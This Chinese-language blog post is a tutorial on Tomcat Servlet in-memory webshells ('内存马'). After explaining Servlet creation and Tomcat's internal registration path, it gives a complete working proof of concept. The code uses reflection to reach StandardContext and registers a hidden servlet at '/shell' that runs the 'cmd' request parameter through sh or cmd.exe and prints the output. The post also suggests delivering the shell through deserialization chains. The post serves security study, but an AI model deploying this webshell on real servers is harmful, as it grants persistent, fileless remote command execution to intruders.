Java Tomcat内存马——Servlet内存马
创始人
2024-02-20 03:35:01
0

目录

前言:

(一)Servlet的创建

1、实现javax.servlet.Servlet接口的方式

2、继承GenericServlet类创建Servlet

3、继承了HttpServlet进行创建

(二)分析注入方式

代码分析

(三)payload

1、StandardContext对象

2、自定义的Servlet

3、通过Wrapper进行封装

4、Wrapper添加进入children

5、url映射

完整poc

(四)总结

Servlet存马的创建流程


前言:

        上个星期分析了filter内存马的原理和payload,此次分析的Servlet内存马。利用链相对来说要简单一点,主要是研究整个调用过程,比较短,通过debug调试方便理解调用过程。

(一)Servlet的创建


可以先看一下 Servlet 这个接口有哪些方法:

public interface Servlet {  void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。  ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数  void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;  //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。  String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.  void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源  
}

1、实现javax.servlet.Servlet接口的方式


public class ServletTest implements Servlet {@Overridepublic void init(ServletConfig config) throws ServletException {System.out.println("init.....");}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {System.out.println("service.....");}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {System.out.println("destroy.....");}
}

其中的init是在Servlet被创建的时候才会执行的方法,而service就是对客户端进行相应的方法逻辑,在destroy就是在该Servlet被销毁的时候会调用的方法,至于其余两个方法getServletConfig/getServletInfo都是一些非生命周期的调用

2、继承GenericServlet类创建Servlet


public class ServletDemo2 extends GenericServlet {@Overridepublic void service(ServletRequest arg0, ServletResponse arg1)throws ServletException, IOException {System.out.println("service....");}
}

3、继承了HttpServlet进行创建


public class ServletDemo3 extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {System.out.println("doGet...");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {System.out.println("doPost...");doGet(req,resp);}}

其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装。

图 1-1 Servlet的封装过程

 由上图可知:

  1. GenericServlet 是实现了 Servlet 接口的抽象类。

  2. HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。

  3. Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。

(二)分析注入方式


        同样需要通过代码层面达到Servlet的构建,而不通过xml配置文件添加映射,同样是在javax.servlet.ServletContext接口中声明了几个和Servlet创建相关的方法,如下图2-1

图 2-1 ServletContext中的Servlet方法

  •  我们来到createServlet详细来分析,如图2-2

图 2-2 CreateServlet的详细执行流程

 

从注释中我们可以知道他是通过 addServlet方法的调用来创建Servlet类,他在Tomcat容器中的实现为org.apache.catalina.core.ApplicationContext#createServlet方法,如图2-3

图 2-3 createServlet方法的具体实现

  • 再来到addServlet的声明,如图 2-4
图 2-4 addServlet的参数传入

 

同样是存在三种重载方法,通过传入ServletName / ServletClass 来返回了一个ServletRegistration.Dynamic类型

  • 再来分析在Tomcat容器中的实现,如图 2-5 
图 2-5 ServletRegistration.Dynamic的具体实现

代码分析

  1. 首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常

  2. 之后将会在context中通过servletName查找对应的child并将其转化为Wrapper对象

  3. 如果没有找到,将会创建一个Wrapper对象,在添加进入servletName之后将wrapper添加进入context的child中去

  4. 如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class

  5. 之后如果存在初始化参数的时候,将进行初始化操作

  6. 最后创建了一个ApplicationServletRegistration类,通过带入wrappercontext

同样有着程序在运行过程中不能够添加Servlet的限制,那么,它们如何绕过呢?

我们可以关注到ApplicationServletRegistration#addMapping这个方法中。

图 2-6 Registration的addMapping具体实现

 

可以分析出来通过调用了StardContext#addServletMappingDecoded方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。

图 2-7 URL和Wrapper进行具体的映射

 同时其wrapper是通过调用findChild带上ServletName获取到的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了:

  1. 首先需要创建一个自定义的Servlet类

  2. 之后通过Wrapper对其进行封装

  3. 再将封装之后的wrapper添加进入StandardContext类中的children中去

  4. 最后通过调用addServletMappingDecoded方法添加url映射

(三)payload


1、StandardContext对象

首先需要获取到StandardContext对象,这里采用了循环获取的方式,知道获取到对象。

// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {Field f = servletContext.getClass().getDeclaredField("context");f.setAccessible(true);Object object = f.get(servletContext);if (object instanceof ServletContext) {servletContext = (ServletContext) object;} else if (object instanceof StandardContext) {o = (StandardContext) object;}
}

2、自定义的Servlet

//自定义servlet
Servlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}
};

3、通过Wrapper进行封装

//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);

4、Wrapper添加进入children

//向children中添加Wrapper
o.addChild(newWrapper);

5、url映射

//添加servlet的映射
o.addServletMappingDecoded("/shell", name);

完整poc

package pres.test.momenshell;import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;public class AddTomcatServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {String name = "RoboTerh";//从req中获取ServletContext对象ServletContext servletContext = req.getServletContext();if (servletContext.getServletRegistration(name) == null) {StandardContext o = null;// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象while (o == null) {Field f = servletContext.getClass().getDeclaredField("context");f.setAccessible(true);Object object = f.get(servletContext);if (object instanceof ServletContext) {servletContext = (ServletContext) object;} else if (object instanceof StandardContext) {o = (StandardContext) object;}}//自定义servletServlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};//用Wrapper封装servletWrapper newWrapper = o.createWrapper();newWrapper.setName(name);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);//向children中添加Wrappero.addChild(newWrapper);//添加servlet的映射o.addServletMappingDecoded("/shell", name);PrintWriter printWriter = resp.getWriter();printWriter.println("servlet added");}}catch (Exception e) {e.printStackTrace();}}
}

(四)总结


        观察上面的内存马,可以知道是将内存马的payload执行部分放在了doPost过程中,且在doGet方法中调用doPost,所以一旦我们访问这里httpServlet,将会执行我们的payload, 达到注入内存马的目的。

        其实完全可以搭建一个CC依赖获取其他可以进行反序列化的的链子,通过反序列化的方式注入内存马的方式更加常见一些。

Servlet存马的创建流程

  • 创建恶意Servlet

  • 用Wrapper对其进行封装

  • 添加封装后的恶意Wrapper到StandardContext的children当中

  • 添加ServletMapping将访问的URL和Servlet进行绑定

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
【PdgCntEditor】解... 一、问题背景 大部分的图书对应的PDF,目录中的页码并非PDF中直接索引的页码...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
修复 爱普生 EPSON L4... L4151 L4153 L4156 L4158 L4163 L4165 L4166 L4168 L4...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
ChatGPT 怎么用最新详细... ChatGPT 以其强大的信息整合和对话能力惊艳了全球,在自然语言处理上面表现出了惊人...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...